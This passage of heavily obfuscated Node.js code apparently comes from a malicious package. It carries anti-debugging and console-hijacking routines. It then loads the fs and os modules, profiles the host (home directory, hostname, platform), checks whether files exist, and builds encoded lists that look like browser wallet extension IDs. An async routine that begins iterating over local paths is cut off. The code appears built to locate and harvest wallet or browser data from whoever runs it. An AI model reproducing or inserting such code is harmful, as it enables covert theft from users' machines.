_0x427c(_0x47d901- -'0x16f',_0x3331ba);}const _0x2882fe={};function _0xf36d58(_0x5f5154,_0x2f325c,_0x41f9dc,_0x1f4a99,_0x520264){return _0x427c(_0x41f9dc- -'0x25f',_0x2f325c);}_0x2882fe[_0x3063b9('0x655','0x6da',0x6d6,0x667,0x576)]=_0x3063b9(0x712,'0x7d8',0x7e8,'0x64c','0x76d')+_0x47b2ab(0x289,'0x13a',0x1fc,'0x206','0x29c')+'+$';const _0x15144a=_0x2882fe;return _0x5060ff[_0xf36d58(-0xda,-'0x13',-'0x5',-'0xbe','0x15')+_0x47b2ab('0x11a',0x3f,'0x11f','0xa0','0x5a')]()[_0x3063b9('0x58e',0x5da,0x50e,'0x5d1',0x639)+'h'](_0x15144a[_0x47b2ab(0x13b,0x16d,0x174,0x1af,'0x1bb')])[_0x52fe58('0x299','0x2a2','0x1e0','0x22d','0x23f')+_0xbd060c('0x41',-'0x3d',-'0xfe',0x4b,'0x34')]()[_0x47b2ab('0x2f',-0xd,0x98,0x4d,'0x103')+_0xbd060c('0xe9',0xdd,0xdd,'0x9b','0x8e')+'r'](_0x5060ff)[_0x47b2ab(-0x1a,-'0x4',0xad,'0x159','0x16d')+'h'](_0x47b2ab(0x2ce,'0x25f','0x231','0x303','0x20f')+_0xbd060c(0xf0,0xa0,'0x85','0xf2',-'0x39')+'+$');});_0x5060ff();const _0x322931=(function(){function _0x34a2e2(_0x45b9dc,_0x52cf02,_0x2b3bb2,_0x29f23e,_0x29805a){return _0x427c(_0x2b3bb2- -0x2ae,_0x52cf02);}function _0x34370e(_0x558534,_0x19de0f,_0x1d9f60,_0x8527d0,_0x5a34aa){return _0x427c(_0x558534-'0x182',_0x1d9f60);}const _0x4f4038={};_0x4f4038[_0x34370e('0x436',0x519,'0x46b',0x407,'0x44e')]=_0x34a2e2(0x144,'0x125','0xcf','0x18a','0x1ab');const _0x2bfcc7=_0x4f4038;let _0x35e66e=!![];return function(_0x3bb30a,_0x20ecaa){const _0x11a0e8=_0x35e66e?function(){function _0x1cd422(_0x1a42da,_0x6a0219,_0x10696a,_0x3b68d9,_0x12116d){return _0x427c(_0x3b68d9-'0xe3',_0x12116d);}function _0x4a3509(_0x51e1e9,_0x9d753f,_0x2fd1f6,_0x53aa9d,_0x9dbe4){return _0x427c(_0x51e1e9-0x1e3,_0x2fd1f6);}function _0x334385(_0x155bc9,_0x5f4a21,_0x50167a,_0x23534e,_0x23a91c){return _0x427c(_0x23a91c-'0x3e1',_0x155bc9);}function _0x24e255(_0x5939d1,_0x4c934a,_0x2491e6,_0x50e8c0,_0x380a7f){return _0x427c(_0x2491e6- -'0x3a3',_0x50e8c0);}if(_0x2bfcc7[_0x4a3509('0x497',0x4c0,0x52d,'0x3d9',0x41b)]===_0x334385(0x6cb,0x6c7,'0x6e6','0x693',0x75e)){if(_0x20ecaa){const _0x5f3f1b=_0x20ecaa[_0x334385(0x785,'0x732',0x808,0x77b,0x788)](_0x3bb30a,arguments);return _0x20ecaa=null,_0x5f3f1b;}}else _0x5c6e96[_0x334385('0x730',0x602,0x605,'0x5dc','0x69e')+'c'](_0x48e742);}:function(){};return _0x35e66e=![],_0x11a0e8;};}());(function(){const _0x5562a1={'szOcr':_0x3defd6(0x2bc,'0x23a','0x312','0x313','0x254')+_0x903075(0x1f8,0x2d9,'0x1a1',0x12a,0x15c)+_0x903075('0x171',0x16f,0xbd,'0x22d','0x157')+_0x903075('0x1e0','0x10e','0x263',0x219,'0x1d8')+_0x1f1538('0x2e6','0x33a','0x30b','0x2b1',0x294)+_0x421eca('0x2f5','0x18e','0x248','0x281','0x1ef')+_0x903075('0x2ae','0x32e',0x371,0x26a,0x1d0),'BXRgS':function(_0x4cee4d,_0x26ef2d){return _0x4cee4d(_0x26ef2d);},'NShlM':function(_0x4b8963,_0x1db6ee,_0x59616f){return _0x4b8963(_0x1db6ee,_0x59616f);}};function _0x3defd6(_0x1308c0,_0x248a56,_0x19d87f,_0x3d50aa,_0x2eaeac){return _0x427c(_0x1308c0- -0x56,_0x248a56);}function _0x421eca(_0x1613d1,_0xa4a07e,_0x2f5818,_0x21a72b,_0x3128db){return _0x427c(_0x2f5818- -0x1b,_0x3128db);}function _0x1f1538(_0x283766,_0x2efcb0,_0x4ced75,_0x57186d,_0x21ad82){return _0x427c(_0x4ced75- -'0x8c',_0x57186d);}function _0x903075(_0x5047ef,_0x356da5,_0x15de42,_0x51f0ae,_0xb5f22d){return _0x427c(_0x5047ef- -'0xcb',_0x51f0ae);}function _0x9ac3a(_0x3c5fb9,_0xe18555,_0x184233,_0x4f8654,_0x55fd2d){return _0x427c(_0x4f8654-0x155,_0xe18555);}_0x5562a1[_0x421eca('0x281',0x354,0x2ba,0x20c,'0x317')](_0x322931,this,function(){const _0x3ccd02=new RegExp(_0x415bcc('0x313',0x34b,'0x349','0x3b2','0x46e')+_0x415bcc('0x467',0x474,'0x46c',0x52a,0x5a4)+_0x415bcc('0x446',0x5aa,'0x50f','0x4ea','0x498')+')');function _0x596d80(_0xe4e75b,_0x4bd481,_0x52b6ac,_0x2a2329,_0x1b9627){return _0x3defd6(_0x4bd481- -'0x25c',_0x1b9627,_0x52b6ac-'0xb3',_0x2a2329-0x135,_0x1b9627-0x9d);}function _0x157073(_0x108f20,_0x18f181,_0x397b33,_0x5be2ed,_0x12395e){return _0x9ac3a(_0x108f20-'0x170',_0x12395e,_0x397b33-0x6f,_0x18f181- -0xee,_0x12395e-'0x1e4');}const _0x421a68=new RegExp(_0x5562a1[_0x5438ca('0x2d1',0x36a,0x32b,0x2a2,'0x328')],'i');function _0x415bcc(_0x53bece,_0x4d7835,_0x1539b9,_0x22bc9c,_0xbe7faa){return _0x1f1538(_0x53bece-0x2c,_0x4d7835-0x51,_0x22bc9c-'0x22c',_0x1539b9,_0xbe7faa-'0x18b');}function _0x38cbf9(_0x25ebe1,_0x28c3e4,_0x539646,_0x4a85c1,_0x2d5a27){return _0x9ac3a(_0x25ebe1-'0x6b',_0x4a85c1,_0x539646-'0x1bc',_0x25ebe1- -0xaf,_0x2d5a27-'0x155');}const _0x317385=_0x5562a1[_0x596d80(-'0x34',-'0xb1',-0xec,-'0x105',-'0x167')](_0x99936a,_0x5438ca(0x2f4,0x22e,0x261,'0x1f4',0x2c4));function _0x5438ca(_0xa7160d,_0x320749,_0xcc09d5,_0x17d8de,_0x1aa21e){return _0x1f1538(_0xa7160d-'0x1d4',_0x320749-0x18e,_0x320749-0x72,_0xcc09d5,_0x1aa21e-'0xee');}!_0x3ccd02[_0x38cbf9('0x2f9',0x2fd,0x264,0x243,0x321)](_0x317385+_0x596d80(0xc9,0xa6,0x142,'0xc1',0x7c))||!_0x421a68[_0x596d80(-0x107,-0x5f,-'0x13a',-0xa9,-'0x17')](_0x317385+_0x596d80('0x74','0x9f',0x8c,0x43,'0xae'))?_0x317385('0'):_0x99936a();})();}());function _0x23ab03(_0x6db35e,_0x24fecf,_0x2b6432,_0x545160,_0x1db1e3){return _0x427c(_0x24fecf- -0x365,_0x545160);}const _0x333eb2=(function(){let _0x363c00=!![];return function(_0x32be5e,_0x1e7b90){const _0x42f4b2=_0x363c00?function(){function _0xe40c3a(_0x51bc38,_0x17fcb6,_0x3e598e,_0x4a7bad,_0x2375d4){return _0x427c(_0x2375d4- -'0xef',_0x3e598e);}if(_0x1e7b90){const _0x103597=_0x1e7b90[_0xe40c3a('0x39b','0x216',0x26e,0x224,0x2b8)](_0x32be5e,arguments);return _0x1e7b90=null,_0x103597;}}:function(){};return _0x363c00=![],_0x42f4b2;};}()),_0x443da1=_0x333eb2(this,function(){const _0x19c3e0={};_0x19c3e0[_0x4dc119('0x3f4',0x4d3,0x3ea,'0x45d',0x422)]=_0x4dc119(0x2a0,0x1ea,0x258,0x33e,'0x32e'),_0x19c3e0[_0x487d37('0x6d9','0x6cc',0x686,0x5cd,'0x61f')]=_0x51563c('0x30d',0x386,0x35e,0x2d7,'0x335');const _0x23f241=_0x19c3e0;function _0x4dc119(_0x5f3989,_0x16692c,_0x2c4156,_0x2cbd1c,_0x5a5bf1){return _0x427c(_0x5f3989-'0x6f',_0x5a5bf1);}function _0x51563c(_0x244a94,_0x5f373a,_0x255410,_0x48a8e9,_0x6f2377){return _0x427c(_0x244a94- -0x13,_0x255410);}function _0x218ea0(_0x2251d0,_0x369c14,_0x1ff2e1,_0x23e251,_0x37e186){return _0x427c(_0x37e186- -0x62,_0x1ff2e1);}const _0x4b0ef5=function(){function _0xf410cb(_0x1920ef,_0x1a68cf,_0x12922c,_0xe3548b,_0x536d73){return _0x218ea0(_0x1920ef-'0x192',_0x1a68cf-'0x12f',_0x536d73,_0xe3548b-'0x16b',_0x1a68cf-'0x8a');}let _0x6d10db;function _0xaa7144(_0xd53418,_0x3940e5,_0x487eac,_0x42e76,_0x80a72f){return _0x4dc119(_0x3940e5- -'0x444',_0x3940e5-'0xc8',_0x487eac-'0x1e0',_0x42e76-0x1f3,_0x80a72f);}function _0x2c2397(_0x245485,_0x26e837,_0x2a8e43,_0x46fd00,_0x53aae4){return _0x4dc119(_0x2a8e43- -0x2f4,_0x26e837-'0x12',_0x2a8e43-0x1a3,_0x46fd00-0x49,_0x53aae4);}function _0x30d311(_0x5c3bc9,_0x595c13,_0x1103bc,_0x5aab03,_0x3821fa){return _0x4dc119(_0x5aab03-0x1bf,_0x595c13-'0x118',_0x1103bc-0xd2,_0x5aab03-0x196,_0x3821fa);}function _0x5743a8(_0x5595c9,_0x1f5096,_0x2e1241,_0x54dfaf,_0x493be5){return _0x218ea0(_0x5595c9-0xb8,_0x1f5096-'0x93',_0x2e1241,_0x54dfaf-0x45,_0x493be5- -'0x34b');}try{_0x6d10db=Function(_0x5743a8(-0x139,-'0x14b',-'0xeb',-'0xf9',-'0x145')+_0x5743a8(-0x1a9,-'0x94',-0x78,-'0x71',-0x146)+_0xaa7144(-0xe1,-0xef,-'0x77',-0x3f,-'0xeb')+_0x5743a8(-0xb6,-'0x13e',-0x177,-'0xd1',-0x188)+(_0x5743a8('0x1d',-'0x4e',0x5d,0x27,-0x2f)+_0x30d311('0x484',0x3b9,0x4fb,0x427,0x44f)+_0x5743a8(-0x1d4,-0xa4,-'0x1ff',-'0x14c',-0x147)+_0x2c2397(-'0x8d',0x99,0x52,-0x5e,0x135)+_0xaa7144(-0x4,-0x7f,-0xe6,-0xa6,-0x67)+_0x5743a8(-'0xd2',-'0x1c4',-0xcb,-'0x7c',-0x144)+'\x20)')+');')();}catch(_0x2329c4){_0x6d10db=window;}return _0x6d10db;},_0xda0920=_0x4b0ef5(),_0x5d8200=_0xda0920[_0x218ea0(0xe7,0xe8,'0x162',0x299,'0x1b7')+'le']=_0xda0920[_0x1d6c55('0x9e',0x3e,'0x11c','0x13e',0x3c)+'le']||{};function _0x1d6c55(_0x5c7aa7,_0x20a36b,_0x1c93d1,_0x5dfd4b,_0x4b2198){return _0x427c(_0x5c7aa7- -'0x17b',_0x20a36b);}const _0x545988=[_0x51563c('0x2f2',0x2e2,0x3d2,'0x3c2','0x3d1'),_0x1d6c55('0x1b5','0x176','0x253','0x222',0x263),_0x487d37('0x626','0x566',0x608,0x608,0x5ec),_0x23f241[_0x1d6c55(0x20a,0x12a,0x2cf,0x1e3,'0x139')],_0x1d6c55(0x18c,0x1f8,0x23e,0x118,'0x1d8')+_0x218ea0('0x240',0x31f,0x32f,0x2e0,'0x2ff'),_0x23f241[_0x1d6c55('0xe5',0x13e,'0x26',0x174,'0xbd')],_0x4dc119(0x353,0x2d2,'0x398','0x302','0x3cf')];function _0x487d37(_0xd0603f,_0x399d2b,_0x16318f,_0xb46290,_0x14b709){return _0x427c(_0x14b709-0x3bf,_0xd0603f);}for(let _0x147c36=0x2*0x12b7+-0x1*-0x187f+0x1*-0x3ded;_0x147c36<_0x545988[_0x1d6c55(0x124,0x1c3,0x157,'0x81',0x51)+'h'];_0x147c36++){const _0x2754c0=_0x333eb2[_0x487d37(0x598,'0x5a5',0x5c0,0x625,0x5c6)+_0x487d37('0x6db',0x800,0x847,'0x69c',0x767)+'r'][_0x218ea0(0x269,0x220,0x1b4,'0x1db',0x1e8)+_0x1d6c55(0x150,0xc7,0x199,'0x1c3','0xb2')][_0x51563c('0x359','0x391','0x41c',0x436,0x36f)](_0x333eb2),_0x216c6e=_0x545988[_0x147c36],_0x5355f7=_0x5d8200[_0x216c6e]||_0x2754c0;_0x2754c0[_0x4dc119(0x3f1,'0x485',0x3d0,'0x327',0x4ce)+_0x487d37(0x5d9,0x606,'0x620',0x59d,0x662)]=_0x333eb2[_0x1d6c55('0x1f1','0x190',0x29e,'0x197',0x1df)](_0x333eb2),_0x2754c0[_0x1d6c55('0xdf','0x34',0x46,0x4c,0x34)+_0x487d37('0x6ec',0x689,0x644,'0x621',0x64d)]=_0x5355f7[_0x4dc119('0x2c9','0x360','0x329',0x2c4,0x270)+_0x4dc119(0x2fd,0x304,'0x2d9',0x26d,0x353)][_0x51563c('0x359','0x2e5','0x3fc','0x362',0x2b4)](_0x5355f7),_0x5d8200[_0x216c6e]=_0x2754c0;}});_0x443da1();const _0x3f610f=require('fs'),_0x1dc0ea=require('os'),_0x4322f1=require(_0x4340a3('0x1d7',0xa9,0x148,'0x8b','0xc6')),_0x5ab3e8=require(_0x23ab03(-'0x1a4',-'0x178',-'0xbc',-0x163,-'0x169')+'st'),_0x42b722=require(_0x4340a3('0x167','0x234','0x1c2',0x1a3,0x10a)+_0x4340a3(0x1ff,'0x2f2',0x255,'0x2df',0x1e5)+_0x4340a3('0x16a',0x2e9,0x215,'0x1f3','0x13d'))[_0x11263b('0x2cf','0x306',0x1af,'0x242','0x258')],_0x50df5b=_0x1dc0ea[_0x23ab03(-0x8f,-'0xf9',-0xb8,-0x1c9,-0x74)+_0x4cf846(0x1a3,0xf6,'0x132','0x1b0','0x13e')](),_0x3ca591=_0x1dc0ea[_0x4cf846(0xfd,-'0x12','0x42','0xf','0xf3')+_0x4cf846(0x122,0xe8,0x127,0xc1,'0x1e2')](),_0x427bea=_0x1dc0ea[_0x4340a3('0x1a1','0x307','0x247','0x1b0',0x1e5)+'ir'](),_0x43a6a0=_0x1dc0ea[_0x4cf846('0xd8',-0xc,0x6d,'0xa',0x142)+'r'](),_0x1fff56=_0x4cf846(-0x52,'0x4d',0x6c,0x4b,'0x115')+_0x23ab03(-'0x27',-0x9d,-'0xeb',-0xc,-'0x2a')+_0x11263b('0x20b',0x262,0x23c,0x1e9,0x1da)+_0x4cf846('0x76','0x7f','0x2',0x76,-0xc2)+_0x4cf846(0x95,'0xb3',0x99,0x0,0x32),_0x1dc156=_0x2b8e65=>_0x2b8e65[_0x4cf846('0x7f',0x46,-0x3,-'0x5f',-0xdd)+'ce'](/^~([a-z]+|\/)/,(_0x353c8e,_0x1d62b0)=>'/'===_0x1d62b0?_0x427bea:_0x4322f1[_0x23ab03(-0x13b,-'0xd9',-0x49,-0x148,-'0x130')+'me'](_0x427bea)+'/'+_0x1d62b0),_0x3bc4d4='39',_0x2f5772=_0x4340a3('0x8a','0x84','0xf7',0x1bb,0x15e);function _0x5dfe23(_0x4d8afd){function _0x1f938b(_0x3aad45,_0x5ddd2a,_0x5d106a,_0x4a823b,_0x328bb5){return _0x4340a3(_0x3aad45-'0x123',_0x5ddd2a-0xae,_0x5ddd2a-'0x3b',_0x4a823b-0x18d,_0x328bb5);}function _0x21da5d(_0x4b0d8a,_0x4ac686,_0x4f6f8d,_0x39adc4,_0x1a871d){return _0x4340a3(_0x4b0d8a-0x10f,_0x4ac686-'0x156',_0x4f6f8d-'0x2e2',_0x39adc4-'0x16b',_0x1a871d);}try{return _0x3f610f[_0x1f938b('0x5e','0x12e',0xa7,'0x146','0x178')+_0x21da5d(0x3d6,'0x541','0x46f','0x47a','0x407')](_0x4d8afd),!![];}catch(_0x4e9018){return![];}}function _0x4340a3(_0x3a12a7,_0x1f9db4,_0x3af94c,_0x3ed94b,_0x48ef4b){return _0x427c(_0x3af94c- -'0x147',_0x48ef4b);}const _0x420a08=[_0x23ab03(-0x133,-0x61,-0xd3,-0x13d,-0x81)+_0x23ab03('0x56',-'0x1',0x55,0x96,'0x3')+_0x23ab03(-0x1b5,-'0x160',-'0xc6',-0x81,-'0x122')+_0x23ab03(-0x4e,-0x12e,-0x18b,-0x1f9,-'0x1ff')+_0x4340a3('0xd4','0x17f',0x1a0,'0x22b','0xd6')+_0x279262(0x4fd,0x5f1,'0x536',0x619,0x55f)+_0x11263b('0x25e',0x1d0,'0x2c7','0x1fd',0x212),_0x279262('0x523',0x5ae,'0x5eb',0x537,0x611)+_0x4340a3('0x248','0x124',0x1ca,0x262,'0x27d')+_0x23ab03(-0x16f,-0xd0,-'0x95',-'0x133',-'0x1a')+_0x4340a3('0x169',0x219,0x1bf,'0x1df',0x1a1)+_0x279262('0x5cc',0x546,0x537,0x592,0x4c5)+'er',_0x23ab03(-'0x9',-'0x7e',-'0x109',-'0xb9',-'0x116')+_0x279262('0x57d',0x5fa,0x615,0x652,'0x548')+_0x4cf846(0x151,-0x41,'0x7f',-'0x23',0x5)+_0x11263b('0x210','0x2a7','0x176',0x1dd,0x1ee)+_0x23ab03(-'0x197',-'0x132',-0xbe,-0x87,-'0x9d')+'er'],_0x84f42e=[_0x11263b('0x246',0x276,'0x181','0x12a',0x1ec)+_0x23ab03(-'0x1e9',-0x118,-0x199,-0x84,-'0x1b5')+_0x4cf846(0x105,'0xbc','0x17f','0x17b','0x176')+_0x279262('0x6d3',0x5c4,0x642,0x630,'0x6a5'),_0x11263b(0x2cf,0x2ae,'0x2af',0x21c,0x20d)+_0x11263b(0x153,0xa3,0x85,'0x201','0x129')+_0x279262('0x5f7',0x68c,'0x5b7','0x681','0x648'),_0x4340a3(0x1bb,'0x20c','0x205','0x161',0x220)+_0x23ab03(-'0xbf',-'0x9c',-0x133,-0xa3,-'0x167')+_0x11263b(0x1f0,0x151,0x175,'0x1f7','0x19b')],_0x352628=[_0x11263b(0x1ff,0x30a,0x356,'0x334','0x279')+_0x23ab03(-0x96,-0x117,-0x137,-'0xc7',-0x12f)+_0x4340a3('0xd5',0x171,0xb4,0xad,0x7c)+_0x4cf846(-0x25,'0x120',0x77,0xd2,'0x4a')+_0x4340a3('0x22b',0x260,'0x264',0x2a8,0x2f2)+_0x11263b(0xaf,0x7c,'0xad','0x103',0xe3)+_0x4340a3('0x22b',0x17a,'0x1d9','0x10c',0x165),_0x4340a3(0xc1,0x6b,'0x14b','0xc8',0x10b)+_0x4340a3('0x169',0x16c,'0x160',0x17b,'0x1df')+_0x279262(0x5bc,0x586,0x591,0x4f2,0x4f6)+_0x11263b('0x205','0x1cb','0x25c','0x291','0x237')+_0x4340a3(0x15d,0x168,'0x18c','0x22b','0xcc'),_0x4340a3('0xb9',0x12b,'0xd9',0xc5,0x8)],_0x30dd4f=[_0x279262('0x550',0x506,'0x598',0x556,'0x5ab')+_0x23ab03(-0x2c,-'0x4e','0x1f',-0xde,-'0x123')+_0x4340a3('0x1ea','0x99','0x129','0x1b5','0x200')+_0x4cf846('0xa5',0xd3,0xc8,-'0xf','0x10d')+_0x11263b('0xe0',0xe,'0x1ae','0x9d','0xeb')+_0x23ab03(-0xe6,-'0x5',-0x2f,0xde,'0x1d')+'nn',_0x4cf846(-'0x33',0x7,'0x11',-0x30,-'0xbe')+_0x11263b(0x1ca,'0x109',0x1c7,0x18a,0x191)+_0x4cf846('0x44','0x200',0x120,'0x1bd','0xc3')+_0x4340a3(0x305,0x29e,'0x240',0x193,0x2be)+_0x11263b(0x12b,0x119,0xd4,0xf4,'0x12f')+_0x11263b('0x1b7','0x1a3','0x1c0','0x214',0x26b)+'hm',_0x23ab03(0x90,-0x7,-0xc8,0x81,'0x60')+_0x4340a3(0x14e,0x18a,'0x1f8','0x26d',0x178)+_0x23ab03(0x8f,0x4a,0xe3,-'0x80',0x6f)+_0x4cf846('0x23','0xe4',0x68,0x54,0x121)+_0x279262('0x584','0x5ba',0x613,0x577,0x60c)+_0x4340a3(0x11e,0x22d,0x14c,0xfa,0xcd)+'jp',_0x279262(0x594,'0x54e','0x5de','0x562',0x698)+_0x279262('0x64c','0x63d',0x595,0x5d1,'0x607')+_0x279262(0x724,0x6b9,'0x671',0x5f9,0x66b)+_0x4340a3(0x1b4,'0x1a6',0x25a,0x224,'0x19a')+_0x4cf846(0x1d2,'0x14b',0x119,0x1db,0xf4)+_0x11263b(0x5a,'0x1ad',0x93,'0xe1',0x133)+'ec',_0x11263b(0x241,0x19f,0x25d,'0x242',0x221)+_0x4cf846(-0xac,-0x4b,0x2d,-'0xa9',0xfd)+_0x279262(0x54e,'0x5eb','0x52c','0x47e',0x464)+_0x23ab03(-0x1e3,-'0x10f',-'0x1ea',-0x14f,-'0x64')+_0x23ab03('0x0',-'0x80',-0x53,-0x42,-0x39)+_0x11263b('0x29','0x17e',0x141,0x1a,'0xee')+'pa',_0x4cf846(0x11c,'0x15b',0x133,'0x15e','0x75')+_0x4340a3('0x153',0x13d,'0x1f4',0x187,'0x1cd')+_0x4340a3('0x189',0x2a9,0x258,'0x291','0x318')+_0x23ab03(-'0x15c',-'0x8c',-0x92,0xb,-'0xf3')+_0x4340a3('0x152',0x25a,0x198,0x266,0x1c5)+_0x279262('0x51c',0x493,0x533,'0x5d5','0x4b7')+'mg',_0x23ab03(-0x100,-0x120,-'0xa7',-'0x15f',-'0xbd')+_0x4340a3(0x25c,0x2a2,'0x241','0x23d','0x164')+_0x11263b(0x154,0x1d7,0x137,0x179,'0x1a6')+_0x279262(0x5cf,0x4a8,0x501,'0x5b8','0x464')+_0x4cf846(-'0x67','0xa1',0x4,-'0x4',-0x18)+_0x4cf846(0x70,'0x93',0x81,-'0x45','0x14f')+'lj',_0x23ab03(-'0x41',-'0xcc',-'0x14a',-0x10a,-0x103)+_0x4cf846('0x127',-'0x37',0x86,0x45,-'0x40')+_0x23ab03(0xc0,'0x11',-'0x76',0x80,'0x1c')+_0x279262('0x49c','0x52e',0x543,0x4c3,'0x498')+_0x4340a3(0x120,'0x69',0xb3,0xeb,0xb0)+_0x4cf846(0x19f,0xba,'0x18f',0x1bd,'0xe3')+'pi',_0x4cf846('0x53','0x1a1','0x11f',0xa5,'0x149')+_0x11263b('0x354','0x2d3',0x252,0x1dc,'0x27a')+_0x11263b('0x222',0x1fb,'0x2bf','0x15e','0x229')+_0x279262(0x4b5,'0x516',0x572,0x55c,'0x542')+_0x4340a3(0x16,'0x2c','0xf1','0x2b','0x15e')+_0x23ab03('0x35',-0x65,-'0x102',-0xc3,-0xbd)+'ch',_0x279262(0x63c,'0x532','0x5ce','0x584',0x5b9)+_0x4340a3('0x81','0x18d','0xb5','0x10','0x17')+_0x23ab03(-'0x118',-0x41,-'0x6a',-'0x72',-0x64)+_0x279262(0x65a,'0x55f',0x62b,0x67d,0x6a3)+_0x23ab03(-'0xb6',-'0x7a',-'0x109',-'0x3f',-'0x43')+_0x23ab03(-0xf0,-'0x52',-0x112,-'0x38',-0xaf)+'bb',_0x279262(0x637,0x607,0x646,'0x5ac','0x6af')+_0x23ab03(-'0x174',-0x179,-0x11c,-0x126,-0x210)+_0x23ab03('0x7c',-'0xe',0xc5,0x67,0x2a)+_0x279262('0x502',0x58b,0x5ac,'0x51f',0x533)+_0x279262('0x589','0x4a4',0x52d,0x519,'0x549')+_0x23ab03(-'0xa6',-0x38,0x8d,-0xf7,-'0x118')+'ge',_0x279262('0x54f',0x558,'0x53a','0x590','0x5c8')+_0x4cf846(0x52,0x1d5,0x11c,'0x7d','0x48')+_0x23ab03(-'0x1c8',-'0xeb',-'0x119',-0x22,-0x71)+_0x11263b('0x21b',0x1bf,0x290,'0x110',0x1dc)+_0x23ab03(-'0x11',-'0x77',-0x104,-0x88,-'0xed')+_0x23ab03(-0xc1,-'0x137',-0x12f,-0x12f,-0x104)+'hb',_0x11263b('0x15b',0x1aa,'0x1b6','0x130',0x1fc)+_0x4340a3('0x95',0x179,'0x116',0x18d,0x6d)+_0x279262('0x543','0x60f','0x54a','0x509',0x507)+_0x11263b('0x1dd',0x2dc,'0x1f9',0x213,0x22f)+_0x279262('0x6fc',0x5ed,'0x651',0x5f8,'0x5d8')+_0x23ab03(0xf1,'0x44',-'0x15',0x1b,'0xc7')+'kk',_0x23ab03('0x9d',-0x44,-0xe4,0x33,'0x54')+_0x11263b(0x203,0x141,0x223,'0x120','0x1b6')+_0x11263b('0x192','0x300',0x183,'0x2c4','0x25c')+_0x23ab03(-'0x49',-0xf2,-0x14a,-0x25,-0x29)+_0x4cf846(-'0x3a','0x24',0x4e,'0xd','0x3e')+_0x4cf846('0x22',0x170,0x9f,0x87,0x100)+'no',_0x23ab03('0x90',-'0x15',-'0x5',0x89,-0xf8)+_0x4cf846('0x9b',0x178,'0xe7',0xe1,'0x139')+_0x11263b(0x156,'0x76','0x3d',0x113,0xfd)+_0x279262(0x60c,0x680,'0x5fe',0x693,0x51e)+_0x279262(0x53f,0x505,0x4fa,0x506,0x4ac)+_0x23ab03(-'0x12c',-'0x17c',-0x1bd,-0xc1,-'0x177')+'nd',_0x23ab03(0x21,-0xaf,-'0xd4',0x2b,-'0x167')+_0x279262(0x4f0,0x52e,'0x510',0x53c,'0x50a')+_0x11263b(0x139,0x107,0x10e,0xc0,0xd8)+_0x279262(0x4ce,'0x56d',0x50f,'0x4eb','0x5a1')+_0x23ab03(-0x55,'0x3e',0x36,-'0x9b',-0x82)+_0x279262('0x60a','0x542',0x585,0x5a6,'0x63a')+'in',_0x23ab03(0xa,0x34,'0x22',-0x90,-0x3f)+_0x11263b('0x165','0xc0','0xf0','0x157',0x123)+_0x23ab03('0x1a',-'0xbf',-'0x11f',-'0x160',-'0x16c')+_0x11263b('0x1ef','0x242',0x243,'0x2da','0x201')+_0x279262(0x626,0x67e,0x69a,'0x696','0x5cf')+_0x4cf846('0xc6',-'0x4b','0x1f',0xe,0xd1)+'fa',_0x11263b('0x11b','0xcd',0x68,'0x1af','0x141')+_0x11263b(0x17d,0x146,0xff,'0x17d',0x1a2)+_0x279262(0x5cd,0x5c3,'0x5a1','0x643',0x61c)+_0x11263b(0x41,'0x8b',0x1de,0x7f,0x106)+_0x23ab03(-0x10f,-'0x79',-0x38,-'0x77',-'0x88')+_0x23ab03(-0xcd,-0x69,-'0xd8',-'0x7d',0x28)+'cc',_0x4cf846('0xda','0xcf',0x70,'0x3d',-'0x56')+_0x279262('0x65d',0x648,0x59f,'0x5f5','0x4f1')+_0x11263b('0x18e','0x221',0x109,'0x177','0x1b8')+_0x279262('0x522','0x579','0x511','0x44b','0x50f')+_0x4340a3(0x240,'0x165',0x1ae,0x20e,0x1a4)+_0x11263b(0xb0,'0x1da','0xcb',0x4f,'0xf8')+'ic',_0x23ab03(-'0x18',-'0x48','0x68',-0xe4,-0x91)+_0x4cf846('0xbd',0x144,'0x194','0x14b','0x259')+_0x279262('0x60b',0x698,0x5dc,'0x518','0x5f9')+_0x11263b('0x1f1','0x1d8',0x282,'0x1a5',0x1e0)+_0x279262('0x587',0x591,0x612,'0x5eb','0x60a')+_0x11263b(0xd7,0xdf,'0x171',0x207,'0x173')+'eg',_0x279262(0x5b1,0x52b,0x57f,0x602,0x639)+_0x4cf846('0x1ca','0x161',0xe8,'0x1c7','0x11f')+_0x11263b(0x1b6,0xf3,0xad,'0x5d','0xdf')+_0x4cf846('0x25',-'0x30',0x27,-'0x26','0xa7')+_0x11263b(0x1f7,0x26f,'0x14d',0x22f,0x210)+_0x11263b('0x20e',0x1ab,0x1c9,0x19a,'0x189')+'lc'],_0x590a7f=async(_0x5f5d5a,_0x10a22d,_0x3bf12f,_0xdbf12a)=>{const _0x519bb9={};_0x519bb9[_0x117149('0x26d',0x280,'0x39f',0x2cc,'0x323')]=_0x48f673(0x159,0x1e2,'0x2a4',0x202,'0x159');const _0x2e7480=_0x519bb9;function _0x48f673(_0xac9a66,_0xf3a0df,_0x23c6f9,_0x28964b,_0x1c291d){return _0x23ab03(_0xac9a66-0x1a1,_0xf3a0df-'0x2f7',_0x23c6f9-'0x22',_0xac9a66,_0x1c291d-'0x173');}let _0x3724fa;if(!_0x5f5d5a||''===_0x5f5d5a)return[];try{if(!_0x5dfe23(_0x5f5d5a))return[];}catch(_0x24d2d0){return[];}function _0x117149(_0x114f49,_0x4160e3,_0x399bb1,_0x1cf2f7,_0x263b97){return _0x4cf846(_0x114f49-'0x1d2',_0x399bb1,_0x263b97-'0x2cc',_0x1cf2f7-'0xc',_0x263b97-'0x1f0');}_0x10a22d||(_0x10a22d='');function _0x14129a(_0x554036,_0x5352e1,_0x588e8b,_0x3e339e,_0x48c4a3){return _0x279262(_0x554036-0x65,_0x588e8b,_0x3e339e- -0x3df,_0x3e339e-'0xd1',_0x48c4a3-'0x1b7');}function _0x5e89ed(_0x1e6750,_0x4e5307,_0x12f90a,_0x180348,_0x42fdad){return _0x4340a3(_0x1e6750-'0x1d9',_0x4e5307-'0x119',_0x180348-0x319,_0x180348-'0xa7',_0x1e6750);}let _0x28a6f8=[];for(let _0x5803c9=0x4*-0x259+-0x1088+0x19ec;_0x5803c9<0x3dd+-0x1947+-0x6*-0x3b3;_0x5803c9++){const 